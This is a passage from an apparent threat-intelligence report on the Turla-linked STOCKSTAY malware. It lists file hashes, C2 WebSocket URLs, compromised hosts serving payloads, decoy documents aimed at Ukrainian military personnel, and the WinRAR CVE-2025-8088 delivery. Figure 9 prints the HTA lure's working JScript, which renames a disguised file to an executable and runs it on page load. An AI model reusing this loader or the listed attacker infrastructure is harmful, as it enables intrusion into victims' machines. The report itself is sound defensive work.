<p><code>da8a96bc74e265f945f1cc6992c6dc0f9ea36ed1991f7b8d312db79d9bf78c40</code></p>
</td>
</tr>
<tr>
<td>
<p><code>docs.zip</code></p>
</td>
<td>
<p><span>ZIP archive containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>9fe944147c15a87963b06baf6473288d64c23655a0ba9369c35566272d8efc73</code></p>
</td>
</tr>
<tr>
<td>
<p><code>SMEditor.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKTRADER backdoor</span></p>
</td>
<td>
<p><code>e1d16fb635060d23e889b0617d77f0cf06d00cc19b43a2c8b5ac53ac027ac722</code></p>
</td>
</tr>
<tr>
<td>
<p><code>SMNet.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler</span></p>
</td>
<td>
<p><code>dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketView.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>2af7b513c05e76d7da5f75bb0a223c894a706c99ef2c2ddfe4eae542f95a08e0</code></p>
</td>
</tr>
<tr>
<td>
<p><code>fonts</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>40a3b969d81ef1ef35dd9ebcc6774e060b1b8949d3d74f38ca6b7d789c95cdb3</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 12: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>https://www.drs.gov.ua/wp-content/themes/twentytwentyfive/docs.zip</code></p>
</td>
<td>
<p><span>Compromised State Regulatory Service of Ukraine infrastructure serving ZIP archive containing STOCKSTAY components</span></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://weatherdataai.theworkpc.com/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 13: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>May 14, 2025: Poland</span></h4>
<p><span>GTIG identified two samples of STOCKSTAY.STOCKBROKER being uploaded to VirusTotal on May </span>14, 2025 from Poland. </p>
<p><span>The first sample, named “ClientMNGR2.exe”, matched previously observed versions, however the second sample, named “GR3.exe”, was heavily obfuscated using large quantities of junk code, and a previously unknown string obfuscation mechanism. GTIG tracks this obfuscation mechanism as K1MORPHER, and we have since observed its inclusion in all core STOCKSTAY components, and within select samples of KAZUAR; increasing our confidence that STOCKSTAY exists within the same development ecosystem as other malware leveraged by Turla.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>ClientMNGR2.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler obfuscated with K1MORPHER</span></p>
</td>
<td>
<p><code>d3fd32f915c239872c9e7ed9408b1f36dfcef03aa68f9a396d05c437667cdb43</code></p>
</td>
</tr>
<tr>
<td>
<p><code>GR3.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler obfuscated with K1MORPHER</span></p>
</td>
<td>
<p><code>98ce3c6e4dd05887ea619f2bbfeb2e2c2805ed07e85e119b79b828b7ef8be397</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 14: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>May 28 – August 8, 2025: Ukraine </span><span>— </span><span>Deployment via Malicious HTA</span></h4>
<p><span>On August 8, 2025, GTIG identified a RAR archive, “calculator.rar”, being submitted to VirusTotal. The archive had been hosted on compromised infrastructure belonging to a Ukrainian IT company since at least July 22, 2025. The archive contained a malicious HTA file named “Калькулятор грошового забезпечення військовослужбовців 2025.hta” (translation: "Military personnel cash benefit calculator 2025.hta"). The HTA was designed to execute a variant of the STOCKSTAY.MARKETMAKER downloader, which was also included in the archive, using the code shown in Figure 9.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig8.max-1000x1000.png" alt="Lure HTML page displayed by Калькулятор грошового забезпечення військовослужбовців 2025.hta">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="j8j2f">Figure 8: Lure HTML page displayed by Калькулятор грошового забезпечення військовослужбовців 2025.hta</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>&lt;script language="JScript"&gt;
  function renameAndRunFile() {
    try {
      var oldName = "calculator_2025_files\\styles.dat";
      var newName = "calculator_2025_files\\styles.dat.exe";

      var fso = new ActiveXObject("Scripting.FileSystemObject");

      if (fso.FileExists(oldName)) {
        if (fso.FileExists(newName)) {
          fso.DeleteFile(newName);
        }
        fso.MoveFile(oldName, newName);

        var shell = new ActiveXObject("WScript.Shell");
        shell.Run('"' + newName + '"', 1, false);
      } else {
      }

    } catch (e) {
    }
  }

window.onload = function() {
  renameAndRunFile();
};
&lt;/script&gt;</code></pre>
<p><span><span>Figure 9: JavaScript code contained in Калькулятор грошового забезпечення військовослужбовців 2025.hta</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>The STOCKSTAY.MARKETMAKER variant retrieved a ZIP archive, “EditorToolsPdf.zip”, containing the core STOCKSTAY components from a second compromised server located in Ukraine, this time hosting the archive within a compromised WordPress instance. </span></p>
<p><span>Analysis of the modification timestamps within the military calculator lure archive show that this operation dated as far back as May <span>28,</span> 2025, when the majority of the contents of the “calculator_2025_files” folder were last modified. The STOCKSTAY.MARKETMAKER executable was last modified on June 5, 2025, and the malicious HTA file was modified on June 10, 2025. </span></p>
<p><span>Similar examination of the STOCKSTAY archive shows the configuration file being modified on June 4, 2025, while the archive itself was last modified on the compromised server on June 5, 2025. This series of events shows that the complete STOCKSTAY ZIP archive was staged on the compromised infrastructure while modifications were being made to the initial phishing lures.</span></p>
<p><span>GTIG has been able to confirm via a trusted third party that the original compromise of the Ukrainian server used to host the STOCKSTAY archive occurred on or before May <span>13,</span> 2025.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>calculator.rar</code></p>
</td>
<td>
<p><span>RAR archive containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>6da0b4c1a5d0d3fb6e6a2990a82ba51db1f68a3bba818baa46526a29731e2342</code></p>
</td>
</tr>
<tr>
<td>
<p><code>Калькулятор грошового забезпечення військовослужбовців 2025.hta</code></p>
</td>
<td>
<p><span>HTA lure </span></p>
<p><span>(translated filename: “Military personnel cash benefit calculator 2025.hta”)</span></p>
</td>
<td>
<p><code>0d6b083208097d5b3e189891338540f6c64faaaaf268b0bb0b085dd53d5857b4</code></p>
</td>
</tr>
<tr>
<td>
<p><code>styles.dat.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.MARKETMAKER downloader</span></p>
</td>
<td>
<p><code>626330d22f77d9cbca9d40cc06568041703f194610c4c5a84bbb05a2e4ee7459</code></p>
</td>
</tr>
<tr>
<td>
<p><code>EditorToolsPdf.zip</code></p>
</td>
<td>
<p><span>ZIP archive containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>447f430b46fad5a3f8e8c5aad1f8f7f79af069489c3d9c29224bb9f14f0c7bf4</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ViewPdf.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ClientMNGR.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler</span></p>
</td>
<td>
<p><code>80f6c010fd260d0bcf18a4b6a8d62505adbed50d2e615ed9522c4bfd61c00661</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ConverterDDSNet.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKTRADER backdoor</span></p>
</td>
<td>
<p><code>55249f296b63a8bcf911b8bc96de43c1ac2b4a56c150a19d33d892a47e57352c</code></p>
</td>
</tr>
<tr>
<td>
<p><code>fonts</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>e3364ee21cae6725451e8bc9ab9933df0000fd19814170bd132da68d1906d5ff</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 15: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>https://basecon.com.ua/calculator.rar</code></p>
</td>
<td>
<p><span>RAR archive containing HTA lure and STOCKSTAY.MARKETMAKER downloader</span></p>
</td>
</tr>
<tr>
<td>
<p><code>https://online.zp.ua/wp-content/uploads/Tools/EditorToolsPdf.zip</code></p>
</td>
<td>
<p><span>Compromised WordPress infrastructure hosting STOCKSTAY ZIP archive</span></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://canal1zac1a.onrender.com/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 16: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>July 23 – 28, 2025: Actor Uses GitHub to Host STOCKSTAY MSI Files</span></h4>
<p><span>GTIG identified a GitHub account we suspect of being used by the threat actor to test or deploy STOCKSTAY. The GitHub account, </span><code>Roberto1983-ai</code><span>, was created on July <span>23,</span> 2025 at 12:01:03. </span></p>
<p><span>On July <span>24,</span> 2025, the account created a public repository named </span><code>msi_installer_test2</code><span>, into which a single file was uploaded: </span><code>DiplomacyEduAI.msi</code><span>. A second repository, this time named </span><code>msi_installer_test3</code><span>, was created by the same user on July 28, 2025, and subsequently populated with another version of </span><code>DiplomacyEduAI.msi</code><span>.</span></p>
<p><span>Both versions of </span><code>DiplomacyEduAI.msi</code><span> contained core STOCKSTAY components, alongside a configuration file containing the WebSocket C2 URL </span><code>wss://canal1zac1a.onrender.com/ws</code><span>. GTIG has been unable to identify any active operations using these specific MSI files.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>DiplomacyEduAI.msi</code></p>
</td>
<td>
<p><span>MSI containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>19e6ed42248f9d03beb343a7c09a864dcd3cd671c29e1e5eac93579225224ac9</code></p>
</td>
</tr>
<tr>
<td>
<p><code>DiplomacyEduAI.msi</code></p>
</td>
<td>
<p><span>MSI containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>6298f3150ad94a242e649886d47c59c634a4d04b9af5ee15e3bf335c40b5e58e</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ClientMNGR.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler</span></p>
</td>
<td>
<p><code>80f6c010fd260d0bcf18a4b6a8d62505adbed50d2e615ed9522c4bfd61c00661</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ViewPdf.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ConverterDDSNet.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKTRADER backdoor</span></p>
</td>
<td>
<p><code>d8fe8f3fe838d5b1a1043096f6f6bb6f524f5f1b0c9f83a081078a824daa0cf3</code></p>
</td>
</tr>
<tr>
<td>
<p><code>fonts</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>4e3bed10a8eff3e9205c1f37f647512464271d5ac65df7ae4709735621a38320</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 17: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://canal1zac1a.onrender.com/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 18: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>August 14, 2025: Actor Uses GitHub to Host STOCKSTAY Server Code</span></h4>
<p><span>GTIG identified a second GitHub account, which was observed hosting what we assess to be server-side code for handling STOCKSTAY C2 communications. The GitHub account, </span><code>ChikenFresh</code><span>, was created on August 14, 2025, then almost immediately created a public repository named </span><code>google-ai-labs-it</code><span>, into which the suspected C2 controller code was uploaded. Our analysis of the C2 controller is included in the malware analysis section earlier in this report.</span></p>
<p><span>The GitHub repository name corresponds with a STOCKSTAY C2 server identified running on the Render platform, however GTIG has not observed any active operations using this infrastructure. We assess that the threat actor linked this GitHub repository to their Render account in order to utilize their </span><a href="https://render.com/docs/websocket" rel="noopener" target="_blank"><span>WebSocket hosting</span></a><span> capabilities.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>server.py</code></p>
</td>
<td>
<p><span>Python STOCKSTAY C2 controller</span></p>
</td>
<td>
<p><code>f04f43b6f7c2d86109c495179b497f7fb45fd95816623de1b77900f71b4f99ed</code></p>
</td>
</tr>
<tr>
<td>
<p><code>models.py</code></p>
</td>
<td>
<p><span>Database table definitions and models for use by </span><code>server.py</code><span> </span></p>
</td>
<td>
<p><code>7615140f78d9a0ce31cc9fe8c54c60028a7439cb32526fd97b10afef7145dd78</code></p>
</td>
</tr>
<tr>
<td>
<p><code>wtools.py</code></p>
</td>
<td>
<p><span>Utility functions for use by </span><code>server.py</code></p>
</td>
<td>
<p><code>b55f3b8a7334af049ba3f70a9ad3fe78574b1e180c68baf9a7110d104387a636</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 19: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://google-ai-labs-it.onrender.com/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 20: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>November 2025: Ukraine — Drone-Related Lures and Deployment via CVE-2025-8088</span></h4>
<p><span>On November 6, 2025, GTIG identified a batch of phishing emails being sent from a drone-themed UKR.NET email account, to approximately 20 Ukraine-based targets, each containing a unique ukr.net file sharing link. Each link led to a malicious RAR archive which exploits a path traversal vulnerability in WinRAR (</span><a href="https://cloud.google.com/blog/topics/threat-intelligence/exploiting-critical-winrar-vulnerability"><span>CVE-2025-8088</span></a><span>) to install the core STOCKSTAY components. Continuations of this phishing activity were observed on November 12 and 14, 2025. We identified that only around 30% of the recipients of these phishing emails opened the emails, however we are unable to confirm how many of these individuals downloaded or executed the malicious payloads. All affected Google accounts were marked for additional authentication checks as a precautionary measure against potential account compromise. Google also notified affected users via our </span><a href="https://support.google.com/mail/answer/2591015" rel="noopener" target="_blank"><span>Government Backed Attack Warning</span></a><span> (GBAW) notifications.</span></p>
<p><span>GTIG identified two distinct types of Ukrainian-language decoy documents within the malicious RAR archives, both appearing to target Ukrainian military personnel. The first, “Донесення БпЛА 06.11.2025.docx” (“UAV report 06.11.2025.docx”), claimed to be “[A] Report on the availability/need for UAVs, their condition, the availability of crews for each UAV in the units, their training in the defense zone of the 1st Brigade as of 06.11.2025” (see Figure 10).</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig10.max-1000x1000.png" alt="“Report” Decoy document from November 2025">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="9e24u">Figure 10: “Report” Decoy document from November 2025</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>The second decoy, observed as “Товари(докладніше).docx” (“Products (more details).docx”) and “Приклади товарів для листа (деталізовано).docx” (“Examples of products for the letter (detailed).docx”), predominantly comprised of an equipment list referencing: “Tactical medicine”; “Communication and surveillance equipment”; “Equipment and survival equipment”; and “Automotive property” (see Figure 11).</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig11.max-1000x1000.png" alt="“Equipment List” Decoy document from November 2025">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="9e24u">Figure 11: “Equipment List” Decoy document from November 2025</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>Each of the decoy documents contained an external image reference that causes a connection to be made from the victim’s machine to a site likely monitored by the threat actor, signaling that the document has been opened. GTIG believes the URLs referenced by the decoy documents may be hosted on compromised infrastructure.</span></p>
<p><span>GTIG identified that the instances of STOCKSTAY observed being deployed during this operation contained enhancements intended to increase resistance to detection, specifically by carving out functionality into external modules. These external modules were named to imitate legitimate Windows libraries, using the filenames shown in Table 20.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Component</strong></p>
</td>
<td>
<p><strong>Filename</strong></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKMARKET</span></p>
</td>
<td>
<p><code>MSViewer.exe</code></p>
</td>
</tr>
<tr>
<td>
<p><span>Shared STOCKSTAY core module</span></p>
</td>
<td>
<p><code>ms-lib-math-core.dll</code></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKBROKER</span></p>
</td>
<td>
<p><code>MSDriver.exe</code></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKBROKER core module</span></p>
</td>
<td>
<p><code>ms-api-wmcpdt.dll</code></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKTRADER</span></p>
</td>
<td>
<p><code>MSRender.exe</code></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKTRADER core module</span></p>
</td>
<td>
<p><code>ms-api-win-render.dll</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 21: STOCKSTAY component filenames observed in November 2025</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><p><span>GTIG observed two distinct STOCKSTAY WebSocket C2 URLs being used during this phishing wave. The majority of instances used the URL </span><code>wss://driverx86-adobe.onrender.com/ws</code><span>; however, we were able to identify at least one instance of STOCKSTAY using </span><code>wss://google-ai-labs-it.onrender.com/ws</code><span>, corresponding to the previously described GitHub repository associated with the </span><code>ChikenFresh</code><span> user.</span></p>
<p><span>Alongside the core STOCKSTAY components, the malicious RAR archives contained LNK files, described as “Updater Shortcut”, corresponding to each core STOCKSTAY component. The extraction file path was configured to attempt to deploy into the startup programs directory. </span></p>
<p><span>GTIG was able to identify that the actor began creating the LNK files for this operation approximately six hours prior to the first phishing emails being sent, with the Ukrainian-language lure documents being created around four hours prior.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>MSViewer.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>a40bf9c75d1bfa6d66f1179f2321de6589f80d3089d992797a9cb0e84f6196ce</code></p>
</td>
</tr>
<tr>
<td>
<p><code>MSViewer.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>e316b1e13154dc6115e1e0c023f6fe3d17861cae839d4a4a81779b6aad9a24f8</code></p>
</td>
</tr>
<tr>
<td>
<p><code>MSDriver.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler</span></p>
</td>
<td>
<p><code>c905cb512018cc55512c6a22677c3d6f389c47afd54d7c85797868fc4fcb90e9</code></p>
</td>
</tr>
<tr>
<td>
<p><code>MSRender.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKTRADER backdoor</span></p>
</td>
<td>
<p><code>667a8f568a611f2f3d84a366b7946b360e055bece9699c95aad619637ab72a38</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ms-lib-math-core.dll</code></p>
</td>
<td>
<p><span>Module containing core crypt and obfuscation routines, historically found within core STOCKSTAY components</span></p>
</td>
<td>
<p><code>b287347a5bff8af360ce0e6500c336b6fe6d97920abc26202c9d843ffebc5f89</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ms-api-win-render.dll</code></p>
</td>
<td>
<p><span>Module containing backdoor command handlers, historically found within STOCKSTAY.STOCKTRADER</span></p>
</td>
<td>
<p><code>1682e8d82016b3f10434d2ebac995fd3b6aa812f079bfd7888652e94a994d851</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ms-api-wmcpdt.dll</code></p>
</td>
<td>
<p><span>Module containing STOCKSTAY’s IPC logic, historically found within each STOCKSTAY component</span></p>
</td>
<td>
<p><code>e2a0f4440f67998a0215d49be31746ea192bfcb4dc4ee532a218f8cf13605714</code></p>
</td>
</tr>
<tr>
<td>
<p><code>MSViewer.lnk</code></p>
</td>
<td>
<p><span>LNK shortcut intended to execute STOCKSTAY.STOCKMARKET</span></p>
</td>
<td>
<p><code>3627f582420ad2782d452fe6d13fae42658d1484296351d3916703e25dcadd14</code></p>
</td>
</tr>
<tr>
<td>
<p><code>MSRender.lnk</code></p>
</td>
<td>
<p><span>LNK shortcut intended to execute STOCKSTAY.STOCKTRADER</span></p>
</td>
<td>
<p><code>77417df21b4b4e8d86b8bda4afeef93fd36f355362586b2d1f51121a82244167</code></p>
</td>
</tr>
<tr>
<td>
<p><code>MSDriver.lnk</code></p>
</td>
<td>
<p><span>LNK shortcut intended to execute STOCKSTAY.STOCKBROKER</span></p>
</td>
<td>
<p><code>813c78b5b6ef28a9c0ed35f2c6cd88fc50880ab91f8777dfe7aaccb1c24b08d5</code></p>
</td>
</tr>
<tr>
<td>
<p><code>fonts</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>e83f274bf9914c6cfc0c6b3cdadf089565f49dace4aca93287c22aba9641c8f3</code></p>
</td>
</tr>
<tr>
<td>
<p><code>fonts</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>f964353b9ae4bedbe62de6c0d7eafa9fb8b87897bbaea483aedaa8ae191834da</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span>Table 22: File indicators</span></p>
</div></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://driverx86-adobe.onrender.com/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://google-ai-labs-it.onrender.com/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 23: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h3><span>Attribution</span></h3>
<p><span>GTIG attributes the STOCKSTAY ecosystem and related activity to threat clusters assessed with high confidence links to Turla, based on the following:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>STOCKSTAY uses Windows-1251 during command-processing - an encoding notably designed specifically to support Cyrillic script. This is indicative of a development or operational environment linked to Eastern Europe, the Balkans, or Central Asia. </span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>STOCKSTAY has code overlaps with KAZUAR, a widely-attributed proprietary Turla toolkit, based on the recent introduction of K1MORPHER string obfuscation into both malware families within a similar time window.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>GTIG observed STOCKSTAY being delivered from compromised infrastructure which was also identified as hosting part of Turla’s victim-facing KAZUAR C2 infrastructure.</span></p>
</li>
</ul>
<p><span>Turla has a consistent focus on targeting Ukrainian Defense and Military organizations, and was identified within a Mandiant Incident Response deploying STOCKSTAY alongside a range of other proprietary Turla malware, such as WILDDAY, DIAMONDBACK, and KAZUAR.</span></p>
<h3><span>Detections</span></h3>
<h4><span>Google Security Operations (SecOps)</span></h4>
<p><span>SecOps customers will have access to the following pending-deployment rules. Once fully deployed, these rules will be available under the Mandiant Frontline Threats, Mandiant Hunting and Mandiant Intel Emerging Threats rule packs:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Archiver Extraction To Windows Startup</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Registry Write Registry Run Keys</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Registry Write to Run Registry Key</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Potential RDP File Write From Phishing</span></p>
</li>
<li aria-level="1">
